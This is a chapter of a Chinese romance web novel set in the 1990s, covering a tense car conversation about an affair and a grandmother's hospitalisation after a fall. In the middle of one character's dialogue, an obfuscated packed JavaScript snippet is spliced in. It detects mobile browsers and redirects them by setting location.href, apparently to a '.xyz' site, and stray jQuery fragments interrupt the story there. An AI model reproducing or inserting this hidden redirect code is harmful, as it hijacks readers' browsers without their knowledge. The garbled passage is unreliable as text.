市歌舞团对面的供销社橱窗里,燕舞收录机正放着《恋曲1990》,歌声被热浪蒸得发飘,一辆木料的卡车按着刺耳的喇叭呼啸而过。
莫道言在四中校门前接到陈觉遥的留言信息,随即驾车赶来,车还没熄火,便见陈觉遥风风火火地从团里出来,拉开副驾门时带进一阵栀子香,他原以为对方急着见面,是要谈与乔卓成的剪不断理的那摊子烂账,不料只是来送戏票。
这是陈觉遥第二次赠票了,话里话外总绕不开“务必带上佟语非”这个主题,就连那只向日葵手包,时隔数月还被记挂着,这份执着倒让莫道言有些意外,佟语非那双手当真金贵到”举世无双”了,能让陈觉遥把腰弯这么低?
闲谈间又抖落出一段插曲,陈觉遥早前就给佟语非送过几次票,回回都碰了软钉子,陈觉遥磨着后槽牙道:“是她弟弟泼我的汽水,不是我找他弟弟的茬,怎么我给完谅解书,她反倒摆起谱了?忘恩负义都不带她这样的,一个包给我拽上天,要不是想让我们道具师取经,我才不受她的气。”
莫道言将戏票塞进皮夹里:“她不是心胸狭窄的人,不会无故与人结怨。”
“所以离婚全是你的过错?”
“你还有余力管我离不离婚?”
“若是旁人就罢了,面对陈如潮的妹妹,你哪儿来的脸……”
“比不了你和乔卓成,我和你姐可没在人前成双入对好多年。”
陈觉遥眼中跃动的光骤然熄灭:“在别人看来,好像是我不要他,可他何曾要过我?乔卓成在外是风光无限的大老板,看着呼风唤雨无所畏惧吧?其实每次见了我爸妈,都像被抽了脊梁骨的狼,尾巴都得夹着。我常想,他是不是被你衬得太过黯淡,所以才……他说视你为挚友,对你只有羡慕,没有妒忌,可那份藏在壳里的自卑,连带着对我们的关系也畏首畏尾,我不是没尝试过,都以失败而告终了,长此以往,跟他就像左手摸右手,再没想法了,我好似背叛了他,但又没被承认过,你说这算十恶不赦吗?”
后半句混着车窗外的喇叭声,碎在五月末的燥热空气里,莫道言跟着烦躁起来,手指勾住的确良衬衫的领口猛地一扯,气息通畅多了,他向来不擅长去解一团乱麻的感情题,更当不了军师出谋划策,只能把利害关系摊开在明面上:“接下来你打算怎么办?”
陈觉遥的红指甲在汽水瓶上划出尖响,语气里满是不屑:“十年前的遇女士都能不加掩饰地提及自己的婚外情,解除并非因爱而结合的婚姻,我们男未婚女未嫁,不会比她还难吧?”
“所以她被无数人诟病,说她是踩着婚姻的跳板追求自己的功利,被报纸公开称作‘堕落的女人’,泼了一身的脏水,现在更是侨居德国未曾回来,你既然看过她的故事,原因也能猜出一二,曹……什么来着?”
“曹游。”
“曹游和你曾是师生,师生这两个字在档案里是抹不掉的,师生恋向来是种禁忌,即使你不惧流言,不理会外人说什么,陈教授和晏教授呢?尤其同为男人的陈教授,会怎么看对于学生来说亦师亦父的曹游?还有你的舞蹈事业,一旦你被扣上不伦恋的帽子,陈觉遥,人生的际遇不会总垂青于你。”
阳光斜切进车窗,在陈觉遥脸上投下驳杂的光影,她今天穿了一件淡黄色的长裙,头发简单地扎成双马尾,看起来比实际年龄要小几岁,她盯着巷口墙上“开放搞活,争创一流”的标语,肩膀微微颤抖了一下,她一直都是市歌舞团的活招牌,走到哪儿,就把一流带到哪儿,一段不被看好的感情真能把这些都抹杀了?
“你什么时候也会杞人忧天了?不就是想说为感情牺牲事业不值得吗,可这不是还没发生吗?难道就因为这份感情有些麻烦,就弃之如敝履,努力都不做?那你告诉我,什么样的感情才‘值得''倾注一生去对待,像你实验室的数据一样,先列个参数表吗?"
莫道言的表情没有丝毫波动,探腰从车后座抽出一张《西城日报》,头版刊登市歌舞团下半年的节目和演员主创介绍,有陈觉遥这样的名人,也有一批刚来的新面孔。他望向歌舞团大门的侧厅,一个白裙子女孩正在练舞:“蛮荒扩张的时代,有人抓住机遇就能改写人生,也有人瓜地里挑瓜,挑得眼花,用黄金换鹅卵石,她比你年轻,转圈更稳,听力有先天优势,再有几分质素不错的天分,很快就能被培养成新的台柱子,B角存在的意义,就是等着A角自然淘汰,或是自己摔倒。”
陈觉遥僵在座位上,直到手提包的金属链条深深勒进掌心,才猛然起身下车,走出几步,又忽然回头,狠狠瞪着莫道言:“你娶佟语非,而不是各方面都平分秋色的陈如潮,就是因为她是不麻烦的那个吧?莫道言,你就该孤独终老。”
-------
离开歌舞团后,莫道言径直赶往武陵街老宅,原定今日陪奶奶共进午餐,再一同去南淮剧院去看下午场的折子戏,结果刚走到院门口,就听见林姨惊慌的呼喊声,奶奶在花坛浇花时不慎滑倒,后脑重重磕在大理石桌沿,当场昏迷不醒。
莫道言立即将奶奶送往第一人民医院,通过徐营表姑的老同学,神经科主任医师朱世全医生安排急诊,朱大夫初步诊断奶奶为中度创伤性脑损伤,也就是通俗所说的脑震荡,需住院观察,而在后续的检查中,还发现了奶奶有老年性脑萎缩的迹象,这种慢性病会导致语言障碍和认知功能衰退。
林姨恍然拍腿:“难怪老太太这些日子总说胡话,一会儿念叨要给道言买新书包,一会儿说要送道行一把玩具枪,还要给佟小姐做旗袍,说去年的那件穿旧了,但佟小姐从没穿过旗袍,还有那盆花,她反复浇了四五遍,劝都劝不住……我还当是你们搬走后老太太心里空落,没想到竟是发病了,哎,道言你才刚回来,老太太就病了呢,苦命哟。”
朱大夫向莫道言解释,脑萎缩病因复杂,目前临床上尚无根治方案,但老年性脑萎缩本身进展缓慢,考虑到莫老太太的年纪,规范用药和定期复查,同时保持良好心态,病况尚属可控。家人可以多陪着做些延缓病情发展的活动,比如栽花养草和听听戏曲都是不错的选择,也可以练习太极拳来维持思维整合能力,只要坚持科学调理,很可能终生都不会发展到严重的智力丧失阶段。
父母赴外省出差了,莫道言嘱咐林姨,奶奶病情稳定,暂不必将消息告知他们,随后便让林姨回去了,自己则为奶奶办妥入院手续,留在医院照料。
暮色渐沉时,他走出医院,在街角的一家报刊亭,给佟语非的呼机留言,说接不了她,让她考试结束后自行回家,谁知十分钟后回到病房,竟见佟语非正俯身为奶奶擦脸,纤弱的身影在白色床单上投下一道金光。
奶奶醒来看到佟语非心生欢喜,关切地问她在新家住得惯不惯,莫道言住得惯是一个人在外久了,她和莫道言情况不同,要是住不惯随时搬回老宅,想和莫道言团聚还不简单?宏盛不比在德国,一天来回十几趟都不成问题,让老严接送就是了。
“刚搬进去时确实有些不习惯,特别想家,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16034998|175458||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
但想也不能搬走,不然新家就剩道言一个人了,我留在那儿,能和他互相照应,他每次加班回来,至少能有个人说说话,不用总是对着空气。”
她拿出指甲刀,细心地为奶奶修剪指甲,说到“家”时顿了几秒,好让奶奶听明白,这个“家”是指莫家。莫道言在一旁听着,心想她明明不愿回去,话说得倒是无隙可乘,句句说进奶奶的心窝子,奶奶固然希望她在身边,但最疼的还是他这个孙子,只要说是为了他,奶奶肯定心甘情愿地让步。有时候他实在厌烦她这种伪善的温顺,像面团似的任人揉捏,主心骨却长在另一端,可面对卧病在床的奶奶,这种性子倒成了万能的膏药。
晚饭是林姨在家做好让严叔送来的,奶奶现在咀嚼吞咽困难,林姨特意准备了清汤面和蔬菜瘦肉粥,可奶奶一样都不肯碰,闹着要吃凉粉,佟语非好声好气地哄:“您今晚好好吃饭,明天我带录音机来,给您放《牡丹亭》。”
等奶奶再次睡熟,他才和她低声交谈:“来这么早,考试不是五点才结束?”
“三点四十就考完了,政治只考一百分钟。”
“哦……林姨多事,这里有我就够了。”
“不是林姨找的我,家里有亲戚在这儿看了病,我来帮着取药,正好遇见了奶奶。”
他从口袋拿出两张戏票:“陈觉遥还是想请你去看戏。”
她连眼皮都没抬:“我和陈小姐不是同路人,她三番两次邀约,不过是为了那只手工包,你拿给她好了,免得总因为我的事打扰你。”
佟语非的态度如此决绝,毫无平日谦和的影子,给莫道言一种感觉,她跟陈觉遥的旧怨,绝非一句不是同路人所能囊括的。
他将戏票重新塞回口袋:“不想去不必勉强,我会帮你回绝。”
“我这个月常白班,明天考完试,白天请林姨照看奶奶,晚上下班后我来守着,擦身换洗这些事,总归是我照顾更方便些。”
“回去休息吧,明天好好考。”他送佟语非出了病房门,望着走廊尽头的那道背影,突然出声唤她回来,“佟语非,等一等。”
两人来到住院部楼下,夜色中停着几辆静默的车,最后面的是他开来的,他径直走过去打开后备箱,一个印着“冰棍”红字样的木板箱静静躺在里面,上面盖着两层棉被。
佟语非想起那个要给女儿买整箱冰棍的母亲,惊讶道:“你把人家的家当都买来了?这么多冰棍,哪天才能吃完?”
莫道言扯下棉被道:“不是冰棍。”
她好奇地探头:“那是什么?”
莫道言掀开箱盖的瞬间,凉气扑面而来,箱底垫着几块未化的保温泡沫板,上面赫然躺着一个油亮亮的黑皮西瓜,原来他为了做冰镇西瓜,特意买了小贩的保温箱,把冰棍都送人了,这是上午回老宅的路上买的,本想晚上和她分享,奶奶的突然住院打乱了计划。
他屈指轻叩西瓜,发出脆脆的“咚咚”声:“老板说保熟,趁奶奶现在睡觉,我送你回去,把瓜放家里,你吃几块,剩下的放冰箱。”
“你还是陪着奶奶吧,万一她中途醒了呢?就是有护士,身边没个家人也不行,明天我还有两门专业课要考,不能多吃,这样差不多整个瓜都得塞冰箱,隔夜的瓜就不鲜了,不如在这儿分着吃,你也吃两块儿,剩下的送给值班的医生和护士,给他们解解暑。”
“那得躲着奶奶,她看见准得闹着吃。”
她望着他映着月光的脸,忍不住轻笑:“我们偷偷吃。”